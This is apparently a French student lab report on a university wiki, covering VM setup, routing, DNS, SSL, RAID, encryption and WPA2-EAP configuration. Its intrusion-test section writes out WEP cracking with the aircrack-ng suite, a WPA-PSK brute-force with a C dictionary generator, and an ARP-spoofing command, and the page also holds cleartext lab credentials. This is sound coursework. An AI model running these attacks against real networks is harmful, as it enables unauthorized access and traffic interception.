TP sysres IMA5sc 2020/2021 G3 : Différence entre versions
(→Cassage de clef WEP d’un point d’accès WiFi) |
(→Ferme de serveur) |
||
(55 révisions intermédiaires par 2 utilisateurs non affichées) | |||
Ligne 5 : | Ligne 5 : | ||
Hostname : Clavaire | Hostname : Clavaire | ||
IP local : 100.64.0.25/28 | IP local : 100.64.0.25/28 | ||
− | IP publique : 193.48.57. | + | IP publique : 193.48.57.186/28 |
− | URL : clavaire.site | + | URL : www.clavaire.site |
== Installation VirtualMachine == | == Installation VirtualMachine == | ||
Ligne 22 : | Ligne 22 : | ||
On ajoute des disques à notre VM : | On ajoute des disques à notre VM : | ||
− | + | Rename disque et formatage (lvrename/mkfs) | |
+ | |||
+ | Modif .cfg pour ajouter disques | ||
+ | |||
+ | Transfert fichier /var vers nouvelle partition | ||
+ | |||
+ | Ajoute au /etc/fstab les disques | ||
+ | |||
+ | Mount -a | ||
− | + | == Routage du site IPv4 == | |
− | // | + | Dans VM : /etc/network/interfaces |
− | // | + | iface eth0 inet static |
+ | address 193.48.57.186 | ||
+ | netmask 255.255.255.255 | ||
+ | up ip address add dev eth0 100.64.0.26/24 | ||
+ | up ip route add default via 100.64.0.2 src 193.48.57.186 | ||
+ | down ip address del dev eth0 100.64.0.26/24 | ||
+ | down ip route del default via 100.64.0.2 src 193.48.57.186 | ||
− | // | + | Dans gateway |
+ | |||
+ | 1. ssh zabeth09 et zabeth30 | ||
+ | |||
+ | 2. minicom -> /dev/ttyACM0 et /dev/ttyUSB0 | ||
+ | |||
+ | 3. enable | ||
+ | |||
+ | 4. conf t | ||
+ | |||
+ | 5. ip route 193.48.57.186 255.255.255.255 100.64.0.26 | ||
+ | |||
+ | 6. exit | ||
+ | |||
+ | 7. write | ||
+ | |||
+ | Création du Vlan303 : | ||
+ | |||
+ | Routeur 6509-E | ||
+ | |||
+ | vlan 303 | ||
+ | name clavaire303 | ||
+ | exit | ||
+ | int vlan 303 | ||
+ | no shut | ||
+ | ip address 100.64.0.1 255.255.255.0 | ||
+ | exit | ||
+ | vlan 303 | ||
+ | vrrp 54 ip 10.60.103.254 | ||
+ | vrrp 54 preempt | ||
+ | vrrp 54 priority 110 | ||
+ | |||
+ | Routeur C9200 | ||
+ | |||
+ | vlan 333 | ||
+ | name clavaire303 | ||
+ | exit | ||
+ | int vlan 333 | ||
+ | no shut | ||
+ | ip address 100.64.0.2 255.255.255.0 | ||
+ | exit | ||
+ | vlan 303 | ||
+ | vrrp 54 address-family ipv4 | ||
+ | address 10.60.103.254 | ||
+ | preempt | ||
+ | vrrpv2 | ||
+ | |||
+ | == Services Internet == | ||
+ | === SSH === | ||
+ | modif /etc/ssh/sshd_config : | ||
+ | |||
+ | Changement port : PORT 2222 | ||
+ | Login depuis root : PermitRootLogin yes | ||
+ | |||
+ | service ssh restart | ||
+ | |||
+ | on peut donc : | ||
+ | ssh root@193.48.57.186 -p 2222 | ||
+ | |||
+ | === DNS === | ||
+ | Ajout DNS : | ||
+ | |||
+ | - le faire dans gandi | ||
+ | - modifier fichier /etc/bind/named.conf.local en ajoutant : | ||
+ | zone "clavaire.site" IN { | ||
+ | type master; | ||
+ | file "/etc/bind/db.clavaire.lan"; | ||
+ | }; | ||
+ | |||
+ | - puis avoir un ficher db.clavaire.lan : | ||
+ | ; | ||
+ | ; BIND data file for local loopback interface | ||
+ | ; | ||
+ | $TTL 604800 | ||
+ | @ IN SOA ns1.clavaire.site. admin.clavaire.site. ( | ||
+ | 8 ; Serial | ||
+ | 604800 ; Refresh | ||
+ | 86400 ; Retry | ||
+ | 2419200 ; Expire | ||
+ | 604800 ) ; Negative Cache TTL | ||
+ | ; | ||
+ | @ IN NS ns1.clavaire.site. | ||
+ | @ IN NS ns6.gandi.net. | ||
+ | @ IN MX 100 clavaire.site. | ||
+ | ns1 IN A 193.48.57.186 | ||
+ | www IN A 193.48.57.186 | ||
+ | IN AAAA [ipv6] | ||
+ | |||
+ | - relancer bind : | ||
+ | service bind9 restart | ||
+ | |||
+ | - pour vérifier : | ||
+ | host -tany clavaire.site | ||
+ | |||
+ | === Sécurisation site web par certificat === | ||
+ | |||
+ | Dans un premier temps, nous avons créé un serveur apache2, | ||
+ | |||
+ | systemctl start apache2 | ||
+ | |||
+ | Nous avons ajouté à la liste des ports, le module ssl en écoute sur le port 443 | ||
+ | |||
+ | Ajout du certificat SSL | ||
+ | |||
+ | Tout d'abord, nous avons installé openssl puis nous avons créé une nouvelle clé | ||
+ | |||
+ | La commande est disponible par mail: simoninrichard@gmail.com | ||
+ | |||
+ | Nous avons deplacé la clé dans private puis nous avons donné la clé public à Gandi pour générer le fichier | ||
+ | |||
+ | Pour la sécurisation SSl, nous avons utilisé le un serveur mail sur notre VM, mailx. | ||
+ | |||
+ | Pour notre serveur mail, nous avons configuré un chemin de sauvegarde de mail Maildir/, qui ne correspond pas au chemin courant. | ||
+ | |||
+ | mailx -f Maildir/ | ||
+ | |||
+ | Nous avons aussi ajouté un alias afin de recéptionner les mails en admin et non en root. | ||
+ | |||
+ | A l'aide du serveur mail, nous avons pu valider les différentes etapes de validation SSL | ||
+ | |||
+ | Nous devons ensuite activer nos certificats SSL | ||
+ | |||
+ | a2enmod ssl | ||
+ | |||
+ | Ensuite nous avons modifié notre fichier de conf de notre site: clavaire.site.conf, pour ajouté nos chemins de fichiers de certificat SSL. | ||
+ | |||
+ | Puis un petit restart et notre site est sécurisé. | ||
+ | |||
+ | === Sécurisation de serveur DNS par DNSSEC === | ||
+ | |||
+ | Nous avons suivi les différentes étapes du sujet de TP. Nous avons choisis comme nom de zone: clavaire.site. | ||
+ | |||
+ | Nous avons vérifié le bon fonctionnement à l'aide de : | ||
+ | |||
+ | https://dnsviz.net/d/clavaire.site/dnssec/ | ||
== Tests d’intrusion == | == Tests d’intrusion == | ||
=== Cassage de clef WEP d’un point d’accès WiFi === | === Cassage de clef WEP d’un point d’accès WiFi === | ||
+ | |||
+ | Dans cette partie, nous avons utilisé le reseau cracotte03 avec un cryptage WEP. | ||
+ | |||
+ | Dans un premier temps nous avons annalysé nos interfaces avec | ||
+ | |||
+ | airmon-ng | ||
+ | |||
+ | Le résultat obtenue est | ||
+ | |||
+ | PHY Interface Driver Chipset | ||
+ | phy0 wlx40a5ef0f6518 rt2800usb Ralink Technology, Corp. RT5370 | ||
+ | |||
+ | Nous obtenons ainsi l'interface de la clé WI-PI. | ||
+ | Nous démarrons notre interface réseau WIFI pour pouvoir commencer l'écoute sur le channel 3. | ||
+ | |||
+ | airmon-ng start wlx40a5ef0f6518 3 | ||
+ | |||
+ | Ainsi nous commençons à injecter dans notre réseau à l'aide du bssid de notre WIFI. | ||
+ | |||
+ | aireplay-ng -9 -e cracotte03 -a 04:DA:D2:9C:50:52 wlx40a5ef0f6518 | ||
+ | |||
+ | Nous commençons à capturer les VI sur notre point d'accès à l'aide de la commande | ||
+ | |||
+ | airodump-ng -c 3 --bssid 04:DA:D2:9C:50:52 -w test.txt wlx40a5ef0f6518 | ||
+ | |||
+ | En même temps, nous effectuons des fausses authentification afin d'augmenter le traffic sur notre point d'accès | ||
+ | |||
+ | aireplay-ng -1 0 -e cracotte03 -a 04:DA:D2:9C:50:52 wlx40a5ef0f6518 | ||
+ | |||
+ | Puis nous utilisons aircrack afin d'utiliser tous les Vi pour cracker la clé WEP | ||
+ | |||
+ | aircrack-ng -b 04:DA:D2:9C:50:52 test*.cap | ||
+ | |||
+ | et nous obtenons notre clé pour la cracotte03 | ||
+ | KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:00:0F:FF ] | ||
+ | Decrypted correctly: 100% | ||
=== Exploitation de failles du système === | === Exploitation de failles du système === | ||
− | === Cassage de mot de passe WPA-PSK par force brute === | + | === Cassage de mot de passe WPA-PSK par force brute === |
− | === Attaque de type "homme au milieu" par usurpation ARP === | + | |
+ | Dans un premier temps, nous avons du trouvé le reseau wifi à cracker en scannant le reseau. | ||
+ | |||
+ | Nous avons pu ainsi attendre une connexion sur le reseau pour récupérer un Handshake grace à airdump. | ||
+ | |||
+ | Une fois les fichiers acquis, nous avons lancé sur un PC fixe plus puissant, la commande de crack par brute force. | ||
+ | |||
+ | aircrack-ng -w fichierbruteforce.txt -b 00:24:0A:F2:C0:18 psk*.cap | ||
+ | |||
+ | Code c pour générer le dictionnaire : | ||
+ | |||
+ | #include <stdio.h> | ||
+ | #include <stdlib.h> | ||
+ | |||
+ | int main(){ | ||
+ | FILE *f; | ||
+ | f = fopen("fichierbruteforce.txt","w"); | ||
+ | if(f==NULL){ | ||
+ | printf("Erreur lors de l'ouverture c'un fichier"); | ||
+ | exit(1); | ||
+ | } | ||
+ | |||
+ | for(char a=0; a<10;a++) | ||
+ | { | ||
+ | for(char z=0; z<10;z++) | ||
+ | { | ||
+ | for(char e=0; e<10;e++) | ||
+ | { | ||
+ | for(char r=0; r<10;r++) | ||
+ | { | ||
+ | for(char t=0; t<10;t++) | ||
+ | { | ||
+ | for(char y=0; y<10;y++) | ||
+ | { | ||
+ | for(char u=0; u<10;u++) | ||
+ | { | ||
+ | for(char i=0; i<10;i++) | ||
+ | { | ||
+ | //printf("%d%d%d%d%d%d%d%d\n",a,z,e,r,t,y,u,i); | ||
+ | fprintf(f,"%d%d%d%d%d%d%d%d\n",a,z,e,r,t,y,u,i); | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | fclose(f); | ||
+ | return 0; | ||
+ | } | ||
+ | |||
+ | === Attaque de type "homme au milieu" par usurpation ARP === | ||
+ | |||
+ | L'objectif de cette manipulation est de nous faire passer pour un utilisateur de notre reseau au près d'un serveur web. | ||
+ | |||
+ | Dans un premier temps nous devons modifier la valeur de la variable pour passer en mode routeur, | ||
+ | |||
+ | sysctl -w net.ipv4.ip_forward=1 | ||
+ | |||
+ | Nous commencons ainsi le piratage, | ||
+ | |||
+ | attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 193.48.57.186 | ||
+ | |||
=== Intrusion sur un serveur d’application Web === | === Intrusion sur un serveur d’application Web === | ||
+ | |||
+ | |||
+ | == Réalisations == | ||
+ | |||
+ | === Sécurisation de données === | ||
+ | |||
+ | On crée 3 disques virtuel de 1G (lvcreate -L1G -nclavaire-raid1 storage) et on les ajoute au fichier de config. | ||
+ | On peut créer le raid : | ||
+ | mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 | ||
+ | mkfs.ext4 /dev/md0 | ||
+ | |||
+ | Pour qu'il soit monté a chaque démarrage de la vm : | ||
+ | mdadm --monitor --daemonise /dev/md0 | ||
+ | |||
+ | Et on l'ajoute au fichier /etc/fstab | ||
+ | |||
+ | Avec des fichiers dans le ce volume, meme si un disque est déconnecté, les données sont toujours disponible. | ||
+ | |||
+ | === Chiffrement de données === | ||
+ | |||
+ | Dans un premier temps, nous formatons notre clé USB afin de pouvoir utiliser les partitions: | ||
+ | |||
+ | df -h | ||
+ | |||
+ | Nous connaissons ainsi notre Filesystem: | ||
+ | |||
+ | fdisk /dev/sdb | ||
+ | |||
+ | Nous pouvons créer une nouvelle partition primaire de la taille de la clé USB, 7.2 Go. | ||
+ | |||
+ | |||
+ | Puis nous quittons fdisk mais nous devons exécuter la commande | ||
+ | |||
+ | partprobe | ||
+ | |||
+ | Pour re-écrire dans la table de partition. | ||
+ | |||
+ | Nous commençons l'initialisations de notre clé cryptée | ||
+ | |||
+ | sudo cryptsetup luksFormat /dev/sdb1 | ||
+ | |||
+ | sudo cryptsetup luksOpen /dev/sdb1 home | ||
+ | |||
+ | Nous pouvons accéder à notre clé depuis | ||
+ | |||
+ | cd /media/pifou/665....62/ | ||
+ | |||
+ | Nous avons créé un fichier test en sudo à la racine. | ||
+ | |||
+ | sudo cryptsetup luksClose home | ||
+ | |||
+ | Cette commande permet de fermer notre clé cryptée. | ||
+ | |||
+ | === Sécurisation WiFi par WPA2-EAP === | ||
+ | |||
+ | ==== Configuration borne wifi ==== | ||
+ | |||
+ | wifi-ima5sc(config)# aaa authentication login eap_group3 group radius_group3 | ||
+ | wifi-ima5sc(config)# radius-server host 193.48.57.186 auth-port 1812 acct-port 1813 key secret_group3 | ||
+ | wifi-ima5sc(config)# aaa group server radius radius_group3 | ||
+ | wifi-ima5sc(config-server)# server 193.48.57.186 auth-port 1812 acct-port 1813 | ||
+ | wifi-ima5sc(config-server)#exit | ||
+ | wifi-ima5sc(config)# dot11 ssid SSID_GROUP3 | ||
+ | wifi-ima5sc(config-ssid)# mbssid guest-mode | ||
+ | wifi-ima5sc(config-ssid)# vlan 303 | ||
+ | wifi-ima5sc(config-ssid)# authentication open eap eap_group3 | ||
+ | wifi-ima5sc(config-ssid)# authentication network-eap eap_group3 | ||
+ | wifi-ima5sc(config-ssid)# authentication key-management wpa | ||
+ | wifi-ima5sc(config-ssid)#exit | ||
+ | |||
+ | wifi-ima5sc(config)# int Dot11Radio0 | ||
+ | wifi-ima5sc(config-if)# encryption vlan 303 mode ciphers aes-ccm tkip | ||
+ | wifi-ima5sc(config-if)# mbssid | ||
+ | wifi-ima5sc(config-if)#exit | ||
+ | wifi-ima5sc(config)# ssid SSID_GROUP3 | ||
+ | |||
+ | wifi-ima5sc(config)# int dot11radio0.3 | ||
+ | wifi-ima5sc(config-subif)# encapsulation dot1q 303 | ||
+ | wifi-ima5sc(config-subif)# bridge-group 3 | ||
+ | wifi-ima5sc(config-subif)#exit | ||
+ | |||
+ | wifi-ima5sc(config)# int Gi0.3 | ||
+ | wifi-ima5sc(config-subif)# encapsulation dot1q 303 | ||
+ | wifi-ima5sc(config-subif)# bridge-group 3 | ||
+ | wifi-ima5sc(config-subif)#exit | ||
+ | wifi-ima5sc(config)#exit | ||
+ | wifi-ima5sc# write | ||
+ | |||
+ | Nous avons configuré notre routeur wifi à l'aide de notre Vlan. | ||
+ | |||
+ | ==== Installation freeRadius ==== | ||
+ | |||
+ | Sudo apt install freeradius | ||
+ | |||
+ | dans le fichier | ||
+ | /etc/freeradius/3.0/users | ||
+ | |||
+ | Nous ajoutons une ligne dans le but d'ajouter un utilisateur | ||
+ | pifou Cleartext-Password := "pasglop" | ||
+ | |||
+ | Dans le fichier | ||
+ | /etc/freeradius/3.0/client.conf | ||
+ | |||
+ | Nous ajoutons ce paragraphe pour ajouter l'adresse IP du routeur. | ||
+ | |||
+ | client pra_wifi { | ||
+ | ipaddr = 10.60.100.10 | ||
+ | secret = secret_group3 } | ||
+ | |||
+ | Dans le fichier | ||
+ | /etc/freeradius/3.0/mods-enabled/eap | ||
+ | |||
+ | On ajoute la ligne suivante afin de définir le protocole de communication | ||
+ | default_eap_type = peap | ||
+ | |||
+ | Et on peut lancer notre freeradius | ||
+ | freeradius -X | ||
+ | |||
+ | ==== DHCP ==== | ||
+ | Nous devons ensuite configurer notre DHCP afin de donner des adresses lors de la connexion au réseau wifi. | ||
+ | |||
+ | 6509E | ||
+ | IMA5sc-R2(config)#ip dhcp pool groupe3 | ||
+ | IMA5sc-R2(dhcp-config)#dns 193.48.57.186 | ||
+ | IMA5sc-R2(dhcp-config)#network 10.60.103.0 255.255.255.0 | ||
+ | IMA5sc-R2(dhcp-config)#default-router 10.60.103.254 | ||
+ | IMA5sc-R2(dhcp-config)#exit | ||
+ | IMA5sc-R2(config)#ip dhcp excluded-address 10.60.103.0 10.60.103.10 | ||
+ | IMA5sc-R2(config)#ip dhcp excluded-address 10.60.103.100 10.60.103.255 | ||
+ | IMA5sc-R2(config)#exit | ||
+ | IMA5sc-R2#sh ip dhcp binding | ||
+ | |||
+ | C9200 | ||
+ | IMA5sc-R2(config)#ip dhcp pool groupe3 | ||
+ | IMA5sc-R2(dhcp-config)#dns 193.48.57.186 | ||
+ | IMA5sc-R2(dhcp-config)#network 10.60.103.0 255.255.255.0 | ||
+ | IMA5sc-R2(dhcp-config)#default-router 10.60.103.254 | ||
+ | IMA5sc-R2(dhcp-config)#exit | ||
+ | IMA5sc-R2(config)#ip dhcp excluded-address 10.60.103.0 10.60.103.100 | ||
+ | IMA5sc-R2(config)#ip dhcp excluded-address 10.60.103.200 10.60.103.255 | ||
+ | IMA5sc-R2(config)#exit | ||
+ | IMA5sc-R2#sh ip dhcp binding | ||
== Site Web == | == Site Web == | ||
− | Achat de clavaire.site[ | + | Achat de clavaire.site[https://www.clavaire.site] sur gandi |
Ajout de notre propre DNS : ns1.gandi.net avec un lien direct (glue records) vers notre ip publique de machine. | Ajout de notre propre DNS : ns1.gandi.net avec un lien direct (glue records) vers notre ip publique de machine. | ||
+ | |||
+ | == Ferme de serveur == | ||
+ | |||
+ | Ajout du bridge bridgeStudents sur la VM (fichier .cfg) | ||
+ | |||
+ | commande installation python : | ||
+ | ansible -i clavaire.ini -m raw -a "apt install python -y" all --user root --ask-pass | ||
+ | |||
+ | commande envoi clé ssh : | ||
+ | |||
+ | <nowiki> ansible -i clavaire.ini -m authorized_key -a 'user=root state=present key="{{lookup("file","/root/.ssh/id_rsa.pub")}}"' --user root --ask-pass all</nowiki> | ||
+ | |||
+ | Pour le message du jour, on crée un role "motd" qui va copier notre fichier dans /etc/motd sur notre autre machine. On installe également ntp et on ajoute la ligne pour avoir accès au server ntp.plil.info dans le fichier /etc/ntp.conf | ||
+ | |||
+ | Dockerfile | ||
+ | |||
+ | FROM httpd | ||
+ | COPY ./index.html /usr/local/apache2/htdocs/ | ||
+ | CMD [ "httpd", "-D", "FOREGROUND" ] | ||
+ | |||
+ | docker build -t web . | ||
+ | |||
+ | docker run -d web | ||
+ | |||
+ | fichier main.yml | ||
+ | |||
+ | --- | ||
+ | - name: "Install docker on host" | ||
+ | hosts: Install_docker | ||
+ | remote_user: root | ||
+ | vars : | ||
+ | "ansible_distribution": "Debian" | ||
+ | "ansible_distribution_release": "buster" | ||
+ | roles: | ||
+ | - role: geerlingguy.docker | ||
+ | |||
+ | - name: "Setup Docker" | ||
+ | hosts: HTTPD | ||
+ | remote_user: root | ||
+ | roles: | ||
+ | - role: HTTPD | ||
+ | |||
+ | |||
+ | il faut maintenant envoyer notre image docker sur notre seconde vm, pour cela on fait un repo docker local | ||
+ | docker run -d -p 5000:5000 --restart always --name repo | ||
+ | et on push notre image | ||
+ | on peut ensuite (en acceptant les communication http : /etc/docker/daemon.json ) pull l'image sur la seconde vm |
Version actuelle datée du 28 janvier 2021 à 18:49
TP PRA - SIMONIN/MERTZ - Clavaire
Sommaire
Informations générales
Hostname : Clavaire IP local : 100.64.0.25/28 IP publique : 193.48.57.186/28 URL : www.clavaire.site
Installation VirtualMachine
Utilisation de xen pour créer notre machine virtuel sur capbreton.plil.info
xen-create-image --hostname=clavaire --ip=100.64.0.25 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=[pwd habituel] --dir=/usr/local/xen --dist=buster
Lancement de la VM puis connexion :
xl create -c /etc/xen/clavaire.cfg xen console clavaire
Pour quitter la VM : CTRL + ]
On ajoute des disques à notre VM :
Rename disque et formatage (lvrename/mkfs) Modif .cfg pour ajouter disques Transfert fichier /var vers nouvelle partition Ajoute au /etc/fstab les disques Mount -a
Routage du site IPv4
Dans VM : /etc/network/interfaces
iface eth0 inet static
address 193.48.57.186 netmask 255.255.255.255 up ip address add dev eth0 100.64.0.26/24 up ip route add default via 100.64.0.2 src 193.48.57.186 down ip address del dev eth0 100.64.0.26/24 down ip route del default via 100.64.0.2 src 193.48.57.186
Dans gateway
1. ssh zabeth09 et zabeth30
2. minicom -> /dev/ttyACM0 et /dev/ttyUSB0
3. enable
4. conf t
5. ip route 193.48.57.186 255.255.255.255 100.64.0.26
6. exit
7. write
Création du Vlan303 :
Routeur 6509-E
vlan 303 name clavaire303 exit int vlan 303 no shut ip address 100.64.0.1 255.255.255.0 exit vlan 303 vrrp 54 ip 10.60.103.254 vrrp 54 preempt vrrp 54 priority 110
Routeur C9200
vlan 333 name clavaire303 exit int vlan 333 no shut ip address 100.64.0.2 255.255.255.0 exit vlan 303 vrrp 54 address-family ipv4 address 10.60.103.254 preempt vrrpv2
Services Internet
SSH
modif /etc/ssh/sshd_config :
Changement port : PORT 2222 Login depuis root : PermitRootLogin yes
service ssh restart
on peut donc : ssh root@193.48.57.186 -p 2222
DNS
Ajout DNS :
- le faire dans gandi - modifier fichier /etc/bind/named.conf.local en ajoutant :
zone "clavaire.site" IN { type master; file "/etc/bind/db.clavaire.lan"; };
- puis avoir un ficher db.clavaire.lan :
; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.clavaire.site. admin.clavaire.site. ( 8 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.clavaire.site. @ IN NS ns6.gandi.net. @ IN MX 100 clavaire.site. ns1 IN A 193.48.57.186 www IN A 193.48.57.186 IN AAAA [ipv6]
- relancer bind :
service bind9 restart
- pour vérifier :
host -tany clavaire.site
Sécurisation site web par certificat
Dans un premier temps, nous avons créé un serveur apache2,
systemctl start apache2
Nous avons ajouté à la liste des ports, le module ssl en écoute sur le port 443
Ajout du certificat SSL
Tout d'abord, nous avons installé openssl puis nous avons créé une nouvelle clé
La commande est disponible par mail: simoninrichard@gmail.com
Nous avons deplacé la clé dans private puis nous avons donné la clé public à Gandi pour générer le fichier
Pour la sécurisation SSl, nous avons utilisé le un serveur mail sur notre VM, mailx.
Pour notre serveur mail, nous avons configuré un chemin de sauvegarde de mail Maildir/, qui ne correspond pas au chemin courant.
mailx -f Maildir/
Nous avons aussi ajouté un alias afin de recéptionner les mails en admin et non en root.
A l'aide du serveur mail, nous avons pu valider les différentes etapes de validation SSL
Nous devons ensuite activer nos certificats SSL
a2enmod ssl
Ensuite nous avons modifié notre fichier de conf de notre site: clavaire.site.conf, pour ajouté nos chemins de fichiers de certificat SSL.
Puis un petit restart et notre site est sécurisé.
Sécurisation de serveur DNS par DNSSEC
Nous avons suivi les différentes étapes du sujet de TP. Nous avons choisis comme nom de zone: clavaire.site.
Nous avons vérifié le bon fonctionnement à l'aide de :
https://dnsviz.net/d/clavaire.site/dnssec/
Tests d’intrusion
Cassage de clef WEP d’un point d’accès WiFi
Dans cette partie, nous avons utilisé le reseau cracotte03 avec un cryptage WEP.
Dans un premier temps nous avons annalysé nos interfaces avec
airmon-ng
Le résultat obtenue est
PHY Interface Driver Chipset phy0 wlx40a5ef0f6518 rt2800usb Ralink Technology, Corp. RT5370
Nous obtenons ainsi l'interface de la clé WI-PI. Nous démarrons notre interface réseau WIFI pour pouvoir commencer l'écoute sur le channel 3.
airmon-ng start wlx40a5ef0f6518 3
Ainsi nous commençons à injecter dans notre réseau à l'aide du bssid de notre WIFI.
aireplay-ng -9 -e cracotte03 -a 04:DA:D2:9C:50:52 wlx40a5ef0f6518
Nous commençons à capturer les VI sur notre point d'accès à l'aide de la commande
airodump-ng -c 3 --bssid 04:DA:D2:9C:50:52 -w test.txt wlx40a5ef0f6518
En même temps, nous effectuons des fausses authentification afin d'augmenter le traffic sur notre point d'accès
aireplay-ng -1 0 -e cracotte03 -a 04:DA:D2:9C:50:52 wlx40a5ef0f6518
Puis nous utilisons aircrack afin d'utiliser tous les Vi pour cracker la clé WEP
aircrack-ng -b 04:DA:D2:9C:50:52 test*.cap
et nous obtenons notre clé pour la cracotte03
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:00:0F:FF ] Decrypted correctly: 100%
Exploitation de failles du système
Cassage de mot de passe WPA-PSK par force brute
Dans un premier temps, nous avons du trouvé le reseau wifi à cracker en scannant le reseau.
Nous avons pu ainsi attendre une connexion sur le reseau pour récupérer un Handshake grace à airdump.
Une fois les fichiers acquis, nous avons lancé sur un PC fixe plus puissant, la commande de crack par brute force.
aircrack-ng -w fichierbruteforce.txt -b 00:24:0A:F2:C0:18 psk*.cap
Code c pour générer le dictionnaire :
#include <stdio.h> #include <stdlib.h> int main(){ FILE *f; f = fopen("fichierbruteforce.txt","w"); if(f==NULL){ printf("Erreur lors de l'ouverture c'un fichier"); exit(1); } for(char a=0; a<10;a++) { for(char z=0; z<10;z++) { for(char e=0; e<10;e++) { for(char r=0; r<10;r++) { for(char t=0; t<10;t++) { for(char y=0; y<10;y++) { for(char u=0; u<10;u++) { for(char i=0; i<10;i++) { //printf("%d%d%d%d%d%d%d%d\n",a,z,e,r,t,y,u,i); fprintf(f,"%d%d%d%d%d%d%d%d\n",a,z,e,r,t,y,u,i); } } } } } } } } fclose(f); return 0; }
Attaque de type "homme au milieu" par usurpation ARP
L'objectif de cette manipulation est de nous faire passer pour un utilisateur de notre reseau au près d'un serveur web.
Dans un premier temps nous devons modifier la valeur de la variable pour passer en mode routeur,
sysctl -w net.ipv4.ip_forward=1
Nous commencons ainsi le piratage,
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 193.48.57.186
Intrusion sur un serveur d’application Web
Réalisations
Sécurisation de données
On crée 3 disques virtuel de 1G (lvcreate -L1G -nclavaire-raid1 storage) et on les ajoute au fichier de config. On peut créer le raid :
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 mkfs.ext4 /dev/md0
Pour qu'il soit monté a chaque démarrage de la vm :
mdadm --monitor --daemonise /dev/md0
Et on l'ajoute au fichier /etc/fstab
Avec des fichiers dans le ce volume, meme si un disque est déconnecté, les données sont toujours disponible.
Chiffrement de données
Dans un premier temps, nous formatons notre clé USB afin de pouvoir utiliser les partitions:
df -h
Nous connaissons ainsi notre Filesystem:
fdisk /dev/sdb
Nous pouvons créer une nouvelle partition primaire de la taille de la clé USB, 7.2 Go.
Puis nous quittons fdisk mais nous devons exécuter la commande
partprobe
Pour re-écrire dans la table de partition.
Nous commençons l'initialisations de notre clé cryptée
sudo cryptsetup luksFormat /dev/sdb1
sudo cryptsetup luksOpen /dev/sdb1 home
Nous pouvons accéder à notre clé depuis
cd /media/pifou/665....62/
Nous avons créé un fichier test en sudo à la racine.
sudo cryptsetup luksClose home
Cette commande permet de fermer notre clé cryptée.
Sécurisation WiFi par WPA2-EAP
Configuration borne wifi
wifi-ima5sc(config)# aaa authentication login eap_group3 group radius_group3 wifi-ima5sc(config)# radius-server host 193.48.57.186 auth-port 1812 acct-port 1813 key secret_group3 wifi-ima5sc(config)# aaa group server radius radius_group3 wifi-ima5sc(config-server)# server 193.48.57.186 auth-port 1812 acct-port 1813 wifi-ima5sc(config-server)#exit wifi-ima5sc(config)# dot11 ssid SSID_GROUP3 wifi-ima5sc(config-ssid)# mbssid guest-mode wifi-ima5sc(config-ssid)# vlan 303 wifi-ima5sc(config-ssid)# authentication open eap eap_group3 wifi-ima5sc(config-ssid)# authentication network-eap eap_group3 wifi-ima5sc(config-ssid)# authentication key-management wpa wifi-ima5sc(config-ssid)#exit
wifi-ima5sc(config)# int Dot11Radio0 wifi-ima5sc(config-if)# encryption vlan 303 mode ciphers aes-ccm tkip wifi-ima5sc(config-if)# mbssid wifi-ima5sc(config-if)#exit wifi-ima5sc(config)# ssid SSID_GROUP3
wifi-ima5sc(config)# int dot11radio0.3 wifi-ima5sc(config-subif)# encapsulation dot1q 303 wifi-ima5sc(config-subif)# bridge-group 3 wifi-ima5sc(config-subif)#exit
wifi-ima5sc(config)# int Gi0.3 wifi-ima5sc(config-subif)# encapsulation dot1q 303 wifi-ima5sc(config-subif)# bridge-group 3 wifi-ima5sc(config-subif)#exit wifi-ima5sc(config)#exit wifi-ima5sc# write
Nous avons configuré notre routeur wifi à l'aide de notre Vlan.
Installation freeRadius
Sudo apt install freeradius
dans le fichier
/etc/freeradius/3.0/users
Nous ajoutons une ligne dans le but d'ajouter un utilisateur
pifou Cleartext-Password := "pasglop"
Dans le fichier
/etc/freeradius/3.0/client.conf
Nous ajoutons ce paragraphe pour ajouter l'adresse IP du routeur.
client pra_wifi { ipaddr = 10.60.100.10 secret = secret_group3 }
Dans le fichier
/etc/freeradius/3.0/mods-enabled/eap
On ajoute la ligne suivante afin de définir le protocole de communication
default_eap_type = peap
Et on peut lancer notre freeradius
freeradius -X
DHCP
Nous devons ensuite configurer notre DHCP afin de donner des adresses lors de la connexion au réseau wifi.
6509E
IMA5sc-R2(config)#ip dhcp pool groupe3 IMA5sc-R2(dhcp-config)#dns 193.48.57.186 IMA5sc-R2(dhcp-config)#network 10.60.103.0 255.255.255.0 IMA5sc-R2(dhcp-config)#default-router 10.60.103.254 IMA5sc-R2(dhcp-config)#exit IMA5sc-R2(config)#ip dhcp excluded-address 10.60.103.0 10.60.103.10 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.103.100 10.60.103.255 IMA5sc-R2(config)#exit IMA5sc-R2#sh ip dhcp binding
C9200
IMA5sc-R2(config)#ip dhcp pool groupe3 IMA5sc-R2(dhcp-config)#dns 193.48.57.186 IMA5sc-R2(dhcp-config)#network 10.60.103.0 255.255.255.0 IMA5sc-R2(dhcp-config)#default-router 10.60.103.254 IMA5sc-R2(dhcp-config)#exit IMA5sc-R2(config)#ip dhcp excluded-address 10.60.103.0 10.60.103.100 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.103.200 10.60.103.255 IMA5sc-R2(config)#exit IMA5sc-R2#sh ip dhcp binding
Site Web
Achat de clavaire.site[1] sur gandi
Ajout de notre propre DNS : ns1.gandi.net avec un lien direct (glue records) vers notre ip publique de machine.
Ferme de serveur
Ajout du bridge bridgeStudents sur la VM (fichier .cfg)
commande installation python :
ansible -i clavaire.ini -m raw -a "apt install python -y" all --user root --ask-pass
commande envoi clé ssh :
ansible -i clavaire.ini -m authorized_key -a 'user=root state=present key="{{lookup("file","/root/.ssh/id_rsa.pub")}}"' --user root --ask-pass all
